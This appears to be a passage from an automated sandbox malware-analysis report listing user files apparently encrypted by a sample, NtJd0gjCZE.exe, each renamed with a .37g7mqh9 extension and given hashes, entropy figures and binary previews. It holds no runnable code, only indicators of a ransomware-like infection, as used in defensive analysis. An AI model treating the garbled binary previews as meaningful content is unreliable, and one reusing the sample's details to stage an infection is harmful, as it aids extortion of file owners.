                                                                                Preview: .....&.b...F...t.&..s%.M!%\..*.B.;.......s.j.....}A.!.'.+ma\q.l<.{..|.."...X.lm'.y...E.U.=f......[u"..2.p.lr:..u...._...]'J.8t..!l...4.(&..,.ZvG>.y.n.i.2.....4..Q...x...........2 (.;..i.`U..Os.0.h..O..d.G..v..Y...r.FW..,.O^.0.._..u...RK...s....;...O..*.*..J-[.$.`..\.9....v.....].........k..N.;u.~.].G.2X.r!...2.......7....n.......#..Q...|...<.&.n...H..-......./....!...6.<..[O....'._yO..'.^.$.4.w[.x..2.........b_.Ec..V......S>...2h^......g..27...R...X*..F..]...#q>G....e..F96...F....f.4})..N...s7.....rA?QN.....i..Z~k>....A|.,s.8O|Q....,2..(S.@.Q..j.o....};...Q.`..%I..%.M...c......]X9..vq.bS..l....T.UH.Z....M...]..FY....P......]|.. .!./xV......U.6...3.*b.r.G..l...k}w..Q..<x.y.9..b_.C...E^...0..I]J .\.!~m.\..L%J~r.2....a..*an...f.l.3r+.._]5..j...."4.q.4U.#....2L`.+.l...L....{|.!...V.4Yy.S>..-C+....X/.ij..g.......z.....[.jyZ...;h..4*.qAu.1...#.q7.X....H8...f&...mf..._..O...c...wCe....IkJ..N.....a...(..i".....].....(=.v.G...DX.......7..HwI...1..,....`
                                                                                c:\users\user\desktop\bnagmgsplo\NVWZAPQSQL.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.844345395637266
                                                                                Encrypted:false
                                                                                SSDEEP:24:QncxwPluMw8wug7ZS7bSAylJvZkckcHemrTfu/AnFG6m:Q4wPlNwu57bSAylAie8Tfu/AnFs
                                                                                MD5:0194A5E4FF487C2E68D94B3E0F83D6C2
                                                                                SHA1:58E37404A22A89D1AEE49012DE7CE68BDA66CE5E
                                                                                SHA-256:0BE1E9DEFA5D9F0E675944B62BE469FAA385D092A258DFC5F04849964A72CFD2
                                                                                SHA-512:D7788090D7856D5A38D7DAB88FDD23A12B1EFA777AD9BF7AFE6A1A6E07B0349F1490A4FCBEEEEBE181F8CF6615D54CD21E8725A3CF9F04EF15154C4346AB0268
                                                                                Malicious:false
                                                                                Preview: {.*y.....)>.<.......jPf;b..E......q.x.._..".....Qb.+..!..j.u...';}...7......p.q{J.|.c,}{...r.....aJ".t.&..%.1. .Edc.<ujt.,...0..}_.O.v...^...."4..U...-...pl...........O.r..../:............J....{}.(..-..h.<..........r...l..Q......^.4.Xi5/.s.x..+C.!.?*C.Q..2ACLx..>j...].,.*I.... =W..{jktV.7.q..x....oA.j..a.ue..pN,.=.M...ZHd...r ..9....5..._^.O.a./X....R..N.%{.-.x..y..lv.,z.[M.]x&S:.b.'F.E.e.......p.B...m.hY.t......"CE!.Dj.y.B..+.>mx..C.-2y.......g.x.....a.}...8].<......E..>J......7/...|.^.7.0.......y.'[..5....5l.../.2.].....vL.W...Ha,7N..P...1}.*..G`..q.....e.r?;......r%...:...".nY.....-.....Jt.Z...V.2R.m.<-..t.........k..-...l.{Z..PbYd.&._...a...T{......b0..HN.....*I!`...v.y1...O.......9...u.J....i)f...#,..[.t..t.].\v.*.C...P.^i........e)gbvI.r.q.#.3$.S..'.g........%.+..[!....Y........uv.....x..?.&./=kr..fu......K......'B.h._....b^p..V..}L^......7.$.......&.JtT/D./r.4c....zA.+......B.._(...e.........X..!.....#..V......Gm|$$!h..... .r.q.XnI.]...^
                                                                                c:\users\user\desktop\bnagmgsplo\TQDFJHPUIU.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.839843756929343
                                                                                Encrypted:false
                                                                                SSDEEP:24:r28rjvysbkrZpfCf+KubDeQZ0M5gydGhQOPnVizrTfu/AaUF:r28HvytDaFuveQKR3nQXTfu/Ah
                                                                                MD5:04470EC02ADE6FD0574BD6686E65FA24
                                                                                SHA1:1F63BB696E0EEAB51480076FB72938FCA349BC97
                                                                                SHA-256:66A6C0AB838942E5F0D266E9BB45AC157D068C611429E80303D9666B63D646A3
                                                                                SHA-512:173A5D0328A22A105AE9ADAD5F54CA83FF251CBEC8066C84887986F1366A77F1377ED4FFEAE6AA327F2470C56EF3924BC4BDE6B50E27CD8DDACDFF24B297ED2D
                                                                                Malicious:false
                                                                                Preview: ..p..........&&.s"..........\.s...$..t&az?.Z........H.-..8.@..C...wA...\...._L.[..R.....h@...+.......4uh..N..@y.*..O.."4.o..6.`Q.....l.OG...,.k.y...6TyJ1.8.fc#\.../a8....8...e...@.d.k.s....j...t3-S.e.v.t..p.'..X.m`gi.......rs.`.9|..X(....z...hQ..F...V>7./~.Iw..../."1.?$....`8...$.7.\aT.N.8.a....9I.h....=.)Gd[....t..O./.s...K.pB......go...|6...|n.....,..{3T=....!.>....$?-.ym.0....s...{W..&.......:.........'...@....T.'e..%.RZ.......,a....d.e..#..A...)..^....?E..V..m.E......l{.:PL...k.......y$.~j.......3@-$'.....nz..y.$g.6't..~p..fc.'.^.Ni.K.es.H6'3..L`.&Dz..$U....'....o...0(.q.f..*G ..|P..<...X...D.+.o\\..qr_w4._.-.y.\-....b.4'.mk..@....I....=....v.=^.ryE.3o3..O(.A.l+.g...9..*.Iw....i.oq..lw..X.U......@f.N.o.......*....r....$.,>..4.j{]"......!?..0pC....6..ej<\.g....]_R.D...:.l.\cY.s.m..m....e.j.L.:..u`kL.o.#....;.Mc..~X.Z. ....W e...-..M/..i....KF4i*m/..wl..+.y.buOJ....Oq.].%.1..t..f..i.d.W*.I....=K.Q.9......&.>$..[.....8rt{z..d......W+Q.N.
                                                                                c:\users\user\desktop\pivfageaav\EOWRVPQCCS.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.858340110548538
                                                                                Encrypted:false
                                                                                SSDEEP:24:kS36PTGhiVr0A6z46N/Q80YZCkzZsg6WrTfu/A4+:ke6bPm3lY8nZCkzZ3Tfu/At
                                                                                MD5:A8DF2187BAFB018B0B9693E5B030BD43
                                                                                SHA1:0166A14B04A39EDAFC524A93F7E101468D707949
                                                                                SHA-256:440B634401AD5152D18CAA87BC2E63905BB686B43122406CE7792F2799C6B6A6
                                                                                SHA-512:5118FC37B7A95447AA830669C905BA22BF291853D35AEC94FE4E4531D4ED6A2B91AA3160E51CA7C356ECC16965D5B983220E23ED101579E31ECE5FC7CECF5174
                                                                                Malicious:false
                                                                                Preview: ..}|t......'I..w.S..|q.*$ia./..@....*5_n.....}.....,..[!......8....d..t..@9J6.8..6.Q....x....q.l...O..a.t.K...C:....7.~d.....}...ek`2:..U'c...g<...X..ZC...Fa....lVg..5...0.....W.....,.tv..W..LgO.DG%R....q`..y.....A...1.H..'..7...%z2]...-.9..",E<........SwV.h.....9O.m5(;9R0T.a.^.=c".576..Sl0S...!...@..<...s.S.\.o.$..{.K.@.fm:...W.......mQ..4_...#R....'.uM...f!.C.'....i..b+..df.x.i/.o.`0...L..T....;Nj.M......p...$.<....j;.7.2".c.b.......?H~...~.e..`.C...{#..G....k..f.P.._m.@-.GK...-.Rr......<P0NE4..n..;t.>@Yf......az..d.Sd....C^.....1|..*..+...e-*...w.....|..6.J..8pt...)......nG....:.....p...~.#).....Lg.....@O......+Z.v..$}..j.....G.....|....d7.&&..........L.xAD.P..J.D....y......Y5nc7.>S.+r.&xM'<G.L......-C.b..[T.V.V9.3....8...H.gJ.*....H....x?$..%.....g..R...4J.....bl...BD.B.....-..u.f...C...._C..%....N.U.@...G.......L..uT"..2.....V..~...C;Ek._.d..eF.a.i%..c.......e..k..r....KL..(.n........h.P.R`.DYy..N.-../.!.C...%......t..\..E..tp.L.....3..H.
                                                                                c:\users\user\desktop\pivfageaav\GRXZDKKVDB.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.842054161577874
                                                                                Encrypted:false
                                                                                SSDEEP:24:m/b4FPwNhhudiiblDdqDS2PPd9u0GydrTfu/AuZK:E+QylGS+48Tfu/AD
                                                                                MD5:B097B047AA5FEC62BFC4BC5FADF5F90A
                                                                                SHA1:5B8C190800FD0B5055C4E5E2A7A9A72A8F5C6772
                                                                                SHA-256:71C7F1C66A2BAE11E41C65C17EC451042DCB1D408E4BB7626F7279568E033DFA
                                                                                SHA-512:F2A4F71B7662B27FAB9E6D58EEEACC49D8327D126B335F57A630F52BC061A96E15A6CC80055B3F7A676712C3B1BBEB755D96EB0BB9AA6F16C7A9698650DEA3CE
                                                                                Malicious:false
                                                                                Preview: .a{.2........._..(".d.!....>...._.4.mYb..^.E...}5.|........C.B....].s..n.p=.e........t.`....5@.m...5W.J{!.).L..[c...{..H.Es.QL).....>.Ubm..V..p9k.`..:..Y....0...g{..w..`^.P....M(..N#+j">.a..\.A.........8....5..L.1....'o..@j..jr..........yj.i..E....J....[...a.....m\a.&O.].n^.1\.A`x..y[..5-_ zy.rdt....z._?.5...6....{..LT...o.(.....M...M.x....r6H..%fz:..._......0..U^t...;i...$#\.......8..*.w.2.........h.8.........8.k...m.}.~5(.Ql.u.......]....,.../4v*.C'fB~.o<UI@.pF#...........:..4.....&..cUB..S....[%)$#%....h..J......Wt.n.a5.....:..:d7.._SDSD^~.v*..d.<.....D.....(.r....j.Of.&.2Q.....A....d.IiS.^,......xZs...I]_.._.5-+B.$B...k.w*.!7..!.g..5....$....1.K.F....9K..2..n...A.-+$G......*..q.W..Xb.....q6@....."...[.a.i.r...........h[....'.=.&.V....8.&.:..e..j%...........,di...._.^Q..S.l.......>.!;..>`.M...U.......]I..'..9..%21...s{.(/"..).....^..N.W.r...X8..pC.B..".x.*.;..&.SlL.I$..!..Vm...gP..8ks`.}......cYg..].).Em*n.r&...7int......{y7.
                                                                                c:\users\user\desktop\pivfageaav\NVWZAPQSQL.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.871806198050412
                                                                                Encrypted:false
                                                                                SSDEEP:24:YcGy6C4KuCPBopqMmnV+NMyd5kWD2A04iFG04OLuZbUMKrTfu/AXGskb:Yc4CBJB6jjNfd5kWDdTQah2Tfu/AXYb
                                                                                MD5:1EB52B553E79394670A98C915AF230A5
                                                                                SHA1:2746D9303B0ECC55A3F7CB9D69A40CF7F5630C71
                                                                                SHA-256:50E1A5FE11AAA822F5149D13471240B39B9EAC8D7DDB65AF1F59D8B1E3513F06
                                                                                SHA-512:313CDB41E0BDD62BCB1063F07F62A53ECDD5BF928B86FA4A9F870ABF6F2B9E80B619E6706A270ECCB0B5524853ACD9924D89F865C33E18A40FD0D942BC30B906
                                                                                Malicious:false
                                                                                Preview: $...;.|.Y....{.^.7....u..Ow...8..w.n.$N.c...Uoo..k......g:..^.O#..^.{...2.4.i....^p./.Fs8.=P.Fy.@..I.=a.0...).,../.g.M}8L.v4......\..6}..-.T...4y..vu.$.......r.dd.j[...".N.Y..*....m.W.y......."...F.j.4~].#..-ARn....h{..G%.C..}B@.^5..hw.a.....Y.....*.p/z..H.#k...j..M.|...&QcOi.........@.}..{ZV..d.W.mG.y. ...Z.X.XS.....8...Q...BK..G>._...,..<......h.|A...s.f.9..U.U..-....O..J......."....N.-.a...|(.}..b.r=..-.M...r=.e.5/...i....r...#.....fYx..D.R.c-..I?.bF&..Y%...R6..`.s..A..@'.). .%?...o.V...U.{.&..+.{.Y..|]..@{.<..s......_.@...l\.jc^.D<.mw6.$...5M.J.(..bb..%.....U.q....q0..Q..j..ck_..N.2o.X.>........:..u.S.;.*.......N....e..>...7"dt61..e..H#.._..Q..........n.lY.1._.._.W<J..c..(.....s.E..=.,.9...{...[g.dK.d...{!....=..f.. .3Z).Y.f..n.m.M...k.x..I.8.. E.....4...o..%.....&.x/k...wls.$.5..T....+t...[j...<.%=.F._..no.K...E..\.Y..I:4..#&g@..-......(.'@0V78.....W<7..[f.'.#>......S..<?......z..%....^@.1...F-*...C..`3...,.-%...I....
                                                                                c:\users\user\desktop\pivfageaav\PALRGUCVEH.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.830091455370066
                                                                                Encrypted:false
                                                                                SSDEEP:24:01/kKrGOxIj1p9rAWYp2zmdzay3rGA4U2TbrTfu/ATu9M:Ykujxe1pFAd21ybGA4UmTfu/AV
                                                                                MD5:E2CA0CB6E98FA80A00F7404277AF7020
                                                                                SHA1:218CF06B59B7ED643C1871E70752E036BD74D170
                                                                                SHA-256:FFEBB02F89B07E6E42D2D1E658ABAAC6D2343C532BB018CF7A5B7C6ED049A16C
                                                                                SHA-512:EDAF9421B43E93D3465C48EE46432C0D1653170209EE58D5120F09487D30D901EC1E0CF8CA5CF77CD3DBB73CA60DD36002FE25326BA9CB04F037F3EFDA39C434
                                                                                Malicious:false
                                                                                Preview: &'G...I..`...K)Lq..cB..[.....r.=.U!....9.....I+8..[..XZ.(..N.+o..|_.)j7..6..X.Zs..naV.i..QM.Ye...p..R]...._..-fDC.D....."..C.........E..h6...'..4.}.p.l.mo>.....4.I....^.Uq...\..J...[.........a..Z...!C........G.z.*YJ..BF.[.......;*...J....8...C..Q*x...'ji...F..f.7.wX;.,...0&.6..\.q.:..+......z$Rg&Tv)".R.c?1k|6k.U.}...@qM...mQM,..@..+.\:..7.....A...}^.bB.F3.G07`..b..@|.T.G&..S..y...H.%.....m.S....:n.=....|......n..k&g-...kc.....9..x.L..*..s...9...c.X.....H.??......b}....C..w.....u,...CF..Ak.D.o...mS$Y..>..........:#.....c...p.t.Fr.H...;@#=.gY.>..6l...Oiu..............a..4.S.a.b...|1..bV....Z....21|Uv...b...Vy/r.....EZ...H.....m+.|(.R.....zPJ.'.-S....,C..[.HK.........M.../...}=..G!}[_..%c\.......Q.".......... ..N.K{M.OPX.2..h..L...6.^.P...Y3.......Vj..Ug.nla*..}.#.1!..`.x....@.....X!<h.......;D_.-.8P.I...c...J.s..V$.....U..7N.+.....]8J6n.\../..I@.n-o...5Z..kv...Q.;....+.$......c.;qQ.".J!.....M.U.FZ..>|}.....t......^..)......`._..].`-
                                                                                c:\users\user\desktop\pivfageaav\PIVFAGEAAV.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.860869849636961
                                                                                Encrypted:false
                                                                                SSDEEP:24:mzGwNWcgx4Et+4x7vxKu8Cf73du+a9sxVmSZvJAoQ3drTfu/Ap9:myQWcgxp+4kuRbUH+vJXulTfu/Ap9
                                                                                MD5:3318D4DC69A6140FB8ED278A75B55F60
                                                                                SHA1:0901DED8A0B65C5EE4BB7F388432336AB1179F61
                                                                                SHA-256:2639BBFB2EBD76B4536FB84DEB1E0782BA017E72EF57C2E26795A9058BE5AB8A
                                                                                SHA-512:710BE5845EFE3503BC054FB4CC7A920771B10C4AD6FC6AAE778F381CB08C3906D2E4B666FBAD0362664B753EE006578EE7F8C459D038950E12634FF06792096B
                                                                                Malicious:false
                                                                                Preview: =....k..UD.e.F.W.2c..%z..d`.....>..\.......0...+.)..D.W..6..%Oqm..z.4.\2PY...l..%..tx..w.3Cq.8z.E.....>2....J!..EP|.!.v{..o.'H97o.y...$....F..1(.....O<F%..E..*.=.4.........m.#...#Nt.....k.:.../>...j{.Gc.;.&.o.R/.n....;..v.....TSFF.....z`.N'.$!p.7x..p.B95.S......>.<Y?....s.t.d!..N[..3..=."......G..em>..M.........^p.@..]<.z.....5Q1...=n.../.Z.,.vS....M...../$....N7.P8F.D.p[t[<.TW.s@CUw..U).........F8r'O3".FfV...w..p?....3.m"bmb...[3...T.1.&.1.6V......c...S......4....c......V.h....l.....B>Z..).h>..@L..P.Y...[))A.[.....H..Z..*.e.;........V._.......a...O.6.....j...mu.W.i.@.g-....M....u.....]......?...@T./...O....ZU0U.J1.s.6.nf..N2!.H..r.P....9...0_..So..Y..r.@v....W/C.....|G...3F...7..S,..I...}>...\%!.E.!.&..o;......k'...<...9.a'...f..Z.A[g.$r.K....."..W~H.. x....._..X.........ot...#.e..v)>r.T?y3.E.sf{..^..4...9.z..w..S.n..!...k.[....)=...x......21...bG..y.(<_l.z..Z.....$....P...(T...w......Is...;.?...Pb.K.Cyd.>TG........!y..{.......
                                                                                c:\users\user\desktop\pivfageaav\SQSJKEBWDT.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.852452791038263
                                                                                Encrypted:false
                                                                                SSDEEP:24:p176B8Aexod4eshrC9mcYxeHaLUHIkljJ9GCjdBKN6LIBeLeJ/BGu1HrTfu/AcJl:X76B8AeOqeshq2SBo6jJVj4gLE/kcLTU
                                                                                MD5:1A71DE026DA95D587C107846010C8274
                                                                                SHA1:947410F7782D33D24F3F8A94F0684F67EB64811F
                                                                                SHA-256:84595606AD9E0CFF2E35F2767A62DC923A0FDD1D38ED115276AF72F3CC3A38D8
                                                                                SHA-512:74F79472BBB6498058CD3E5C11C9275D266783695B7EAE69CE00EBB0FD3DFCC7D503BD14982DAD9FC71DDF3397DA8CD2567466C75148FE5C1E2D34E11B09D970
                                                                                Malicious:false
                                                                                Preview: #io...0...@0.A...2..>3..../s ..P@.}<g.....T.!.X.....h......P.E..S.....k..S....:-w.e!..T..Xq7......+.xX.%[..)H..:.7.a.....E..Z:q)....8.........5.;...c...0....`..*K..T..[*h..u.....b.....q.uT..0..`CA...@....'m..c9...6..........e..n..l04.=..A1l.Y.......QP..w../........<......Ax..'N.G......=.....X..T.f.S{.-..y....&.._....0.g.S...=.....4!........-q...4...;zGB..I.'n.!..m..P.p<.Y....)-.......N.(.T..o.bY_.hA.....R.95.{9}..+k......!m."g.>3..s..l@...?...=..}{\...q.>h.W....-O........B.....].t.y(.1...bn.s.u@...#O#.d..O....v.4K^.E.0.8.*..e..U~W.,.Y.....g^c..{.wN|.R.K$..9..G~..v...^.+.O..=v.....wat..m..dT ..iRG~...._d.DXC..?..J...z......e....@k.wc....P.,..j%.o...R...=R.1........1SL.N....K,........sN..\.....T&t....[V....ov....5..j..C..9;.|f.OT`..}.LXM.Qw.9v.B 5.GxG.9....@...E....Hu..*.c.....Z...|...&.....Y......e..D...s.47p............3..:........Y.l...M2..,Q.G..w....h.Sm.E..+...7..Zc..2.G..^.u.a*..........R.n..B.i..O..qQ../.p.!.........M#L yt.
                                                                                c:\users\user\desktop\sqsjkebwdt\CZQKSDDMWR.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.84411041942601
                                                                                Encrypted:false
                                                                                SSDEEP:24:+77znyRGGg2Sr/99dsGiXrSxepkh5zYidSMDkVo0rssoqrTfu/AV9:+/IzgH76qfhhYAkVos5BTfu/AV9
                                                                                MD5:7EBAE54167D6A51B0E62579E48B51660
                                                                                SHA1:C9D6B41BC9133B903B493B367F41676C70F1D0ED
                                                                                SHA-256:3FF48882299DD9CF661D9C2C8CF8DC6F46FABFDEF9EFF3650AEB0B487CE622FA
                                                                                SHA-512:39E45EF54647CD317896D157269F12C39D2631CB024CC0238D151FC065342D40A3ACEB14B5B7E789DD32D04CA163B15C688009B8BF861F5848336F1047673690
                                                                                Malicious:false
                                                                                Preview: .9..Y:.]-.T=...tk.T.&h85\..%\.%.!d......0....(.F...G.~N...sm......=.T.=}.3..M..x.9.....;..[...?...>....M.m#a..!.>o...^Zb.Q.......(#?..g...W..0.....l....a.........q.b.5S.z...'.~.....?.Y.h...B...9]..U!.TR.Ol.A.Z..P.y.G..R..S..G.%V7......z:.u......s..frWw..K..o..5...3...:P....3..L!.k...R..,.5*!l...\....Q.5...c..W.T. ..v....t.|U...A..y.*.&.x.....M=DX.t~J.y.s.u5..5.........o..F..$....9......_.A....X.s...'....W...;mb.1....R._a..a..'.|El..}.1...A........'.]Oq6aC...-q]|....0..V+....t..50b.......j....9}h>....DW.H.[..b.@t.+.6......l.....4.3.=.K..y.L.....D...[9d...S..E.,n......P}....P...(..k.d..k.@....:....Q....2..,a.....I.......~.(.8..,V.....X.7;..Y..Yee,.8..f.r..X$...^.......r......#..ww._.1i...?.... !.QW.....E..k]..7K....@...#.kv...c.......X+".."..I(...C..C.....K....5,D....'(..{x.L`...)t.h.r....P8.(;.U..gaZB..!M,JvM........H.Z..8.2.c>.+..K.|..<._.E..D].6K...GH...Ch..Fg(.:...z.Q..T..0*.@.w:>*3.g4..._..!.z".....+.u...r.Z..:.......z....
                                                                                c:\users\user\desktop\sqsjkebwdt\EOWRVPQCCS.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.846665036685523
                                                                                Encrypted:false
                                                                                SSDEEP:24:WpoQncMkE2Lnkh1aPC7ANOrVgZtuPdKKhW71qn+AFh761O2ShaKrTfu/AOR:LuMY/ANEVMEvhWhqZt9h3Tfu/AU
                                                                                MD5:F2E786E30AE6FE96FD0FF6B0A1A22584
                                                                                SHA1:99B4211EC8DBA76A64DF2347FBF2630857F8C3AB
                                                                                SHA-256:635D270F054C154E639A80E5C974C1D362300F8C6BA7E2C6C066235FD23F1A27
                                                                                SHA-512:08F780BD40ECBBA024EFBDADD4895CE30396561BC61A249825D9D12125E8A2B8B35E76C6C96FE17BF146096EA456350CA876A1B1B729F7635F650C64EBCF1D15
                                                                                Malicious:false
                                                                                Preview: ....~Xe..S..wl../j....[z.7...;...O.,\O.....?P.r....g..)..L.n..S@-..v.0R.....^9........c^G$7.7.)..>.HX.m...~Ty~i. G..i...a.....!.0K.6.V..5.....).&aH......,.m.,.s.."L.G..6=..Fq0^F.toRuB....N)-@`......8./;f..Hu.DV.....V. z.dm.....Z..A.Al9g...._.d.&k..9.{M....X.u.m.;.U1..W..ro......C...B..G..?...cf.8....8....m2.......|.....F}).UFI.t....Z.-8...(...o....+.........Ph...C...v.p.`.N.H|{...RpR..7R=.E.K.a.c.R`\..R.R.....R. xD..2().WdF...S.!.W.S.w.....z..>..K.... .X.....Z.0H.0..!...2..eoq.cr....e..F..|....V......077.p..m.B$.H....I..+$..;\......s....I.'.k..+......]..=.......Omq1V.d6....GD.9.....I,..}.x...g.s.......]..._.y.&..6.['..A...z0...C......-.1...X..D..8.d{..^......QU.....K.....4...g.%/..|..%].....U@$2.M.G.._..[....\.+.E...1..y...B....... /.p.4Q..1....QX.1D..n.e........rk..w.t&3L...=A.X...{;....;`.....F..m..B..H[Z!..P......{.g....E.l.i..1b..)A...%G.(.J..g.FR}P...p...;.......e.^....b....E....T....L)..1...-.x....SXwx/X...}.!..+.."....)v..}..F.......2.E.>.....
                                                                                c:\users\user\desktop\sqsjkebwdt\GIGIYTFFYT.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.830831138467228
                                                                                Encrypted:false
                                                                                SSDEEP:24:1FQKzeDK9L5Lf9Lx73hTpx2hxhp5IvPpDSE9Omg4T45QXsMFdrTfu/Af1:1yafV92fhgpDZOmvlTfu/Af1
                                                                                MD5:8095E3E96C132CFD47969A7F024FD011
                                                                                SHA1:3AF96C8206C06EB23DC56E81A6309D9AB0E0D4A7
                                                                                SHA-256:3DA5E79D9554CFF36E8C060157DDB8FA30D57E77051F313F86538AEC804EB1C3
                                                                                SHA-512:732228C9195B11E5C3E4BC896723A91A9292A71600BB4A4025D176A6EC532D10707D47FC6D23F0A9A24AD28844E24E6DD88CE47F38790A94B9FCDBE9C6D7CACD
                                                                                Malicious:false
                                                                                Preview: K....LS.....%..T.y*..G._..3......=.}K..m...W.o....x.r:H.`..7._4.p...#ipL.BKDr'Uo...A..ee,..x:.Q....U.U!..E...n......aM.f....T.r.B.k0O....){*9|...O..ap...A........T.{......&m.y..)<}.t...m..)...A.@..v~...(1D.lw...F.3....P....j1a_..~U...7..2R^!.4......bS....#.{..>..&R........w.`u......mk1."...\..^*3.h....S............n.bT1z.Zx..y.V=8s\.;v.P3~..Z.MA.[.m...!M...m..3.{7.....!c.....x.zq=}..S0....TM..?......:..q.m...%,...s.-g7..I..aW....,.}...&.m.L.)...y.K.......x0...1..... I.Y.%..Ct+".T9.k....y*.%.#.....@Lk.....t.`9?.h.sB.h..N....H......y..V......e^..l.."...D..+Z.:.6`i,........[1.?.}.R..r.2.E ,M.F...,~....T4.;W~..z._....m%.R...%[.k.;?jM&.D..'........p..R..2.. "..c....v:.(..Nu.;O.8....o.,].~.q......W4!...IZ-k.0....}"I.=Sl...A..!.....:.O....e..}...c.td.l=...Ob.O. ..1...Y1.[....;.,.l.+.l.P.zY..o.....[s's.....g..|)....+.Q..^..y.g.`V..f..r'..y.....N...p.t...b...A...,.>.<.:....C.|...<...).iV]..u..i.g._B.b.-9......./.Gk........U....yG.....r.r&
                                                                                c:\users\user\desktop\sqsjkebwdt\GRXZDKKVDB.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.869044750079766
                                                                                Encrypted:false
                                                                                SSDEEP:24:gs7boEc1ydleGxLxdfux3/XoP9tpBeFaNUICwurtSo8q3RRrTfu/A1T:gUboEckveuLxdfuBc9tpBeANewuJSIBR
                                                                                MD5:EAB240EBA24A5D13825C0253612E4738
                                                                                SHA1:47B0DFDBF6CDA1042E9B9D7B28E4C0FEC84DDEB7
                                                                                SHA-256:23CA734619E3995570E68D1AE5A2678F8B1B0F07B8B0EB401F2340B545C971B8
                                                                                SHA-512:E2445503ABFF02B8803B07E1C351F8E05E0BCACD621365E4450D7D305F4EFCD57350F96028FA63E0E5E13F347725534B17D71042B27FFB8618C74E92FFC47AEE
                                                                                Malicious:false
                                                                                Preview: ..?.W......<.A0..C..*..'...<l.Z.s..46.Dd...w.=$T.....+G.o..TM.R...K..w...+4. .,....,..I.'..l.. B8..~..........A...H.....A..{`_a.aN..Qr...I.{$ZQ...H..|.&WI.~.\..41..sx...m....>.....}P.4.&l..+v..h...hUL.((~....E.....Z.rR.O.+...U{.j....9c..WB..!ns.2...b.."..~....ui.0.r..6E.U^=f.t.'..1>s...5..1F..o+c.R.....erA+..K-'..8<.y.w.<..%.-..V..3./.....;deo..4.E.>.......u....V.5......Q.Z?..{.W.I.4..|Z....;D..S...M.....v7tA.j........v...=..k......;.<.of+.>.ut87..r..i...b..x.\..g...."..T..z.(...m..g.).H...DF..0..._.V...[R .........067d..N.{..8.;/7f.*6........M.C..<.....%...*........(j.b_wVW....z^0}.y*{i.97.:y....E.D&T.....g.$.huck,b..13y!1s.....Ft....V...]...Y......}..]..l..Cg.y.DW"?......2..lR.....M..0{....h.V\.C..?....g]|..k....".9.3.&...0.*....3....(.E.....8l./N..h.{...*.OW|)\.@n....*.u....u.i..v..m....e..4\.~ba6.c)..-i..k}z...LN...F.&..n.TVX$.q[H'..[i..aR=.m..lF.-..v.%.^I.....:..&lOSY_....;F[.+b.w.=.....E\.l.K.P]- @[3...t.p..s..J...B.E.?0A.y.B.ug-
                                                                                c:\users\user\desktop\sqsjkebwdt\QCOILOQIKC.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8390490407119096
                                                                                Encrypted:false
                                                                                SSDEEP:24:cfOhabGXcR0fzrjGf2hG0xlVc1UAZHk6b6dtNFIkJVNDv6c27EPrTfu/A7Jt:wn6Xq0rrjCCCHG6UNTV8uTfu/AVt
                                                                                MD5:E3A6710C2D0380A9F474574A32263FFD
                                                                                SHA1:2E6754D55A790038BE3981D5E8E830866F72798E
                                                                                SHA-256:3E03659516BC6E02E62EFE9FAD4ACE1830358B35410347A68439858B72284D3F
                                                                                SHA-512:5A9ADACA580E30EF7A3BDFBFFAFFFC19C2C0A78E19E071BCC45B39F56E9BF7F07FA80974D001F29ECE67930A73DA5E099D89F967F9AC196DFF8603178783B91C
                                                                                Malicious:false
